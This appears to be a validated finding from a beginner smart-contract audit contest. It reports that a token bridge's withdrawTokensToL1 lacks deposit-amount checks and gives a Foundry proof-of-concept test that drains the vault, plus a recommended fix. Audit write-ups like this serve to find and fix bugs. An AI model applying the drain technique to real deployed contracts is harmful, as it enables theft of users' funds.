Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Vault can be drained

Summary

Attacker can drain all funds within the vault.

Vulnerability Details

When a user calls withdrawTokensToL1, there are no checks that the amount being withdrawn is equal to or less than the amount they have deposited. Therefore, they are free to withdraw more tokens than they deposited.

POC

function testWithdrawalLimitedToDepositAmount() public {
// setup - user deposits / transfers tokens to user 2
address user2 = makeAddr("user2");
uint256 depositAmount = 1e18;
vm.startPrank(user);
token.transfer(user2, depositAmount);
uint256 userInitialBalance = token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
// setup - user 2 deposits
address user2InL2 = makeAddr("userInL2");
vm.startPrank(user2);
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user2, user2InL2, depositAmount);
uint256 totalDeposited = depositAmount * 2;
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, totalDeposited), operator.key);
tokenBridge.withdrawTokensToL1(user, totalDeposited, v, r, s);
assert(token.balanceOf(address(user)) > userInitialBalance);
console.log("ATTACKER PROFIT = ", (token.balanceOf(address(user)) - userInitialBalance));
assertEq(token.balanceOf(address(vault)), 0);
}

Impact

Loss of user funds.

Tools Used

Manual review.

Recommendations

Track user vault balance with a mapping to ensure withdrawals can be checked against amounts deposited.

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1(): No check for deposits amount

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.